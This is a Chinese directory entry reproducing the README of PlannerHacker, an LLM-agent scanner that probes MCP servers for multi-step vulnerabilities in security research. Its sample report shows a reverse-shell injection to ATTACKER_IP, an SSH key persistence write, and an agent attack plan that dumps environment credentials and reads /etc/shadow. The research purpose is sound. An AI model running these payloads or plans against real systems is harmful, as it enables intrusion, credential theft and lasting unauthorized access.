Token导航 LogoToken导航TokenDH.com
Planner Hacker logo
安全风控stdio官方级别未说明来源级核验

Planner Hacker

MCP Server

PlannerHacker是一款增强型MCP服务器安全扫描器,利用链式思维推理发现复杂的多步骤漏洞,适用于安全研究和渗透测试。

工具数

0

提示词数

0

GitHub Stars

1

资源数

0
安全Python漏洞检测渗透测试

安装说明

本站只整理中文说明和来源信息,不托管安装包,也不代用户安装。

作者 / 组织

ADP-1

提供方

ADP-1

最后核验

2026/5/17 20:21

运行时

Python

快速接入

先看主来源和安装命令,再打开仓库或文档;下面只保留这个条目的关键接入事实。

命令预览

python -m venv .venv

详细介绍

🛡️ PlannerHacker-MCP安全扫描器

 ____  _                            _   _            _             
|  _ \| | __ _ _ __  _ __   ___ _ _| | | | __ _  ___| | _____ _ __ 
| |_) | |/ _` | '_ \| '_ \ / _ \ '__| |_| |/ _` |/ __| |/ / _ \ '__|
|  __/| | (_| | | | | | | |  __/ |  |  _  | (_| | (__|   )

自动生成的报告包括:

- **漏洞分类** 具有严重性级别
- **具体开发实例** 通过命令行演示
- **补救步骤** 使用特定命令
- **来源引用** 来自安全研究

______________________________________________________________________

## 🚀 安装

### 先决条件

- python **3.11+**
- `npx` (用于MCP服务器执行)
- OpenAI API密钥或Azure OpenAI凭据

### 快速开始

Clone the repository

git clone https://github.com/yourusername/plannerHacker.git cd plannerHacker

Create virtual environment

python -m venv .venv

Activate virtual environment

Windows:

.venv\Scripts\activate

Linux/Mac:

source .venv/bin/activate

Install dependencies

pip install -r requirements.txt

Or install in development mode

pip install -e .

Set your API key

export OPENAI_API_KEY="sk-your-key-here"


### 环境配置

创建 `.env` 文件:

Required: Choose one LLM provider

OPENAI_API_KEY=sk-your-key-here

Or use Azure OpenAI

AZURE_OPENAI_API_KEY=your-azure-key AZURE_OPENAI_ENDPOINT=https://your-endpoint.openai.azure.com/

Optional: Database for knowledge base

POSTGRES_DB=ai POSTGRES_USER=ai POSTGRES_PASSWORD=ai


______________________________________________________________________

## 💻 用法

### 基本扫描(单步黑客)

python mcpsafety/scanner/scan.py --config examples/example_config.json


### 高级扫描(多步PlannerHacker)

python mcpsafety/scanner/scan.py --config examples/example_config.json --planner


### 网络MCP服务器扫描

Terminal 1: Start MCP server

npx -y @modelcontextprotocol/server-everything streamableHttp --port 3001

Terminal 2: Run scanner

python mcpsafety/scanner/scan.py --port 3001


![Network Scan](assets/Terminal2.png)

### 正在扫描易受攻击的测试服务器

Scan the intentionally vulnerable server

python mcpsafety/scanner/scan.py --config VulnerableMCP/vulnerable_config.json --planner


### 命令行选项

python mcpsafety/scanner/scan.py --help


|选项|描述|默认值|
|--------|-------------|---------|
| `--config` |MCP服务器配置JSON路径| `config.json` |
| `--port` |基于网络的MCP服务器端口| `3001` |
| `--planner` |使用PlannerHacker代理(多步骤)| `False` |
| `--hops` |最大思维链步骤| `5` |
| `--output` |输出报告文件路径|stdout|

______________________________________________________________________

## 🏗️ 建筑

graph TB A[scan.py Entry Point] --> B[Configuration Loader] B --> C[LLM Selector] C --> D{Select Agent} D -->|Basic| E[Hacker Agent] D -->|Advanced| F[PlannerHacker Agent] D -->|Audit| G[Auditor Agent] E --> H[Supervisor] F --> H G --> H H --> I[MCP Server Interface] I --> J[Tool Discovery] J --> K[Attack Execution] K --> L[Multi-Agent Team Collaboration] L --> M[Report Generation]

style F fill:#ff6b6b,stroke:#c92a2a,color:#fff style L fill:#4ecdc4,stroke:#16a085,color:#fff style M fill:#95e1d3,stroke:#38ada9,color:#000


### 组件概述

|组件|文件|目的|
|-----------|------|---------|
| **主扫描仪** | `mcpsafety/scanner/scan.py` |入口点、CLI、服务器管理|
| **代理系统** | `mcpsafety/scanner/agents.py` |黑客、策划人、审计员、主管|
| **易受攻击的服务器** | `VulnerableMCP/vulnerable_mcp_server.py` |测试存在故意漏洞的服务器|
| **配置示例** | `examples/` |MCP服务器配置示例|

______________________________________________________________________

## 🧠 PlannerHacker在行动

### 思维链攻击计划

PlannerHacker代理生成结构化的JSON攻击计划:

{ "plan": [ { "id": 1, "description": "Enumerate MCP server tools and capabilities", "command": "List available MCP server tools", "expected_output": "Tool manifest with permissions", "depends_on": [] }, { "id": 2, "description": "Read environment variables for credentials", "command": "get_environment_variables", "expected_output": "Environment dump including API keys", "depends_on": [1] }, { "id": 3, "description": "Use file_manager to read /etc/shadow", "command": "read_file /etc/shadow", "expected_output": "Hashed password data", "depends_on": [1, 2] } ] }


### 多Agent协作

![Security Auditor](assets/AsSecurityAuditor.png)

扫描仪使用 **基于团队的方法** 与专业代理商合作:

1. **侦察特工** -发现工具和资源
1. **研究代理** -查询安全数据库(DuckDuckGo、arXiv、黑客新闻)
1. **开采代理** -生成具体的攻击示例
1. **主管代理** -协调团队并综合调查结果

______________________________________________________________________

## 📊 示例输出

### 弱点报告

扫描仪识别 **5个关键漏洞类别**:

#### 🔴 关键:命令注入

Exploitation Example

list files; /bin/bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1

Remediation

import shlex safe_arg = shlex.quote(user_input) subprocess.run(["ls", "-l", safe_arg], shell=False)


#### 🔴 严重:任意文件操作

Exploitation: SSH Key Persistence

write to file /home/user/.ssh/authorized_keys with content 'ssh-rsa AAAAB3...'

Remediation

sudo chmod 600 /home/user/.ssh/authorized_keys sudo chown user:user /home/user/.ssh/authorized_keys


看 [`output3.txt`](output3.txt) 和 [`output3.md`](output3.md) 查看完整的样本报告。

______________________________________________________________________

## 🔧 配置

### MCP服务器配置

示例 `config.json`:

{ "mcpServers": { "filesystem": { "command": "npx", "args": ["-y", "@modelcontextprotocol/server-filesystem", "/home/user"], "timeout": 300000 }, "everything": { "command": "npx", "args": ["-y", "@modelcontextprotocol/server-everything"], "env": { "AWS_ACCESS_KEY_ID": "test-key", "OPENAI_API_KEY": "sk-test" } } } }


### 支持的MCP服务器

- ✅ **基于stdio**:通过 `npx` 或直接执行Python
- ✅ **HTTP/SSE**:自定义端口上的基于网络的服务器
- ✅ **自定义服务器**:用户定义的易受攻击服务器

看 [`examples/`](examples/) 目录以获取更多配置。

______________________________________________________________________

## 🧪 测试

### 易受攻击的测试服务器

该项目包括 **故意易受攻击的MCP服务器** 安全测试:

VulnerableMCP/vulnerable_mcp_server.py

DANGEROUS_TOOLS = { "read_file": "Unrestricted file reading", "write_file": "Arbitrary file writes", "execute_shell_command": "Direct shell command execution", "get_environment_variables": "Exposes all env vars" }


**⚠️ 警告**:仅在隔离环境中使用易受攻击的服务器!

______________________________________________________________________

## 📚 文档

|文档|描述|
|----------|-------------|
| [`SRS.md`](Docs/SRS.md) |软件需求规范|
| [`WorkFlow.md`](Docs/WorkFlow.md) |五阶段开发工作流程|
| [`Final paper.pdf`](Docs/Final%20paper.pdf) |学术研究论文|

### 开发阶段

1. **基础** -代码库分析和设置
1. **创新** -PlannerHacker系统设计
1. **实施** -对多步骤代理进行编码
1. **评估** -实验验证
1. **出版物** -学术论文写作

______________________________________________________________________

## 🔬 研究背景

该项目旨在 **学术出版物** 在人工智能安全方面:

- **假设**:多步骤思维链规划比单次扫描发现更多漏洞
- **方法论**:比较评估(Hacker与PlannerHacker)
- **验证**:使用易受攻击的测试服务器进行对照实验
- **目标受众**:安全研究人员、渗透测试人员、DevSecOps团队

### 关键创新

> 传统的安全扫描程序会错过需要多个协调步骤的复杂漏洞。PlannerHacker使用LLM驱动的思维链推理来计划和执行复杂的多跳攻击,显著提高了漏洞发现率。

______________________________________________________________________

## 🛠️ 技术栈

### 核心依赖关系

- **`agno`** (1.7.7)-AI代理框架
- **`mcp`** (1.12.3)-模型上下文协议客户端
- **`openai`** (1.98.0)-OpenAI API集成
- **`rich`** (14.1.0)-终端格式化
- **`pyfiglet`** (1.0.3)-ASCII艺术横幅

### 安全工具

- `sqlmap` -SQL注入检测
- `beautifulsoup4` -HTML/XML解析
- `validators` -输入验证

### 数据与分析

- `pandas` -数据分析
- `scikit-learn` -ML实用程序
- `pgvector` -矢量数据库支持

看 [`requirements.txt`](requirements.txt) 获取完整的依赖关系列表。

______________________________________________________________________

## 🤝 贡献

我们欢迎捐款!需要改进的领域:

- 🎯 **新的攻击策略** -扩展PlannerHacker功能
- 🧪 **测试用例** -添加更多易受攻击的场景
- 📊 **报表格式** -HTML、PDF、CSV输出
- 🌐 **协议支持** -其他MCP协议变体
- 🔍 **漏洞类型** -新的检测模式

______________________________________________________________________

## 📖 参考文献

- [MCP规范](https://docs.anthropic.com/en/docs/agents-and-tools/mcp)
- 
- [MITRE ATT&CK 框架](https://attack.mitre.org/)
- [OWASP Top 10](https://owasp.org/www-project-top-ten/)
- [原子红队](https://github.com/redcanaryco/atomic-red-team)

______________________________________________________________________

## ⚖️ 许可证

该项目根据 **Mozilla公共许可证2.0** (MPL-2.0)。

看 [`LICENSE`](LICENSE) 了解详情。

______________________________________________________________________

## ⚠️ 免责声明

**此工具仅用于授权的安全测试。**

- ✅ 在您拥有或拥有明确测试权限的系统上使用
- ✅ 教育和研究目的
- ❌ 未经授权访问系统是非法的
- ❌ 作者对误用不承担任何责任

包含的易受攻击的服务器用于 **仅限受控测试环境**.

______________________________________________________________________

## 🙏 致谢

- 基于开源构建 **mcpSafetyScanner** 框架
- 由...驱动 [Anthropic的模型上下文协议](https://github.com/modelcontextprotocol)
- 通过OpenAI和Google Gemini实现LLM功能
- 受MITRE ATT&CK和OWASP启发的安全研究

______________________________________________________________________

**由...制作❤️ PlannerHacker团队**

目录标签

目录标签

安全Python漏洞检测渗透测试安全扫描本地部署MCP协议多步骤攻击

接入字段

传输方式(transport,传输协议)

stdio

鉴权方式(authType,认证方式)

api-key

运行时(runtime,运行环境)

Python

工具数量(toolCount,工具数)

0

资源数量(resourceCount,资源数)

0

提示词数量(promptCount,提示词数)

0

权限和风险

stdioapi-key部署方式未说明

接入前请确认传输方式、认证方式和部署位置,并根据实际工具能力限制访问范围。

安装前确认

不要直接授予不必要的文件、网络或账号权限;先核对安装命令和配置内容。

来源信息

继续浏览同类 MCP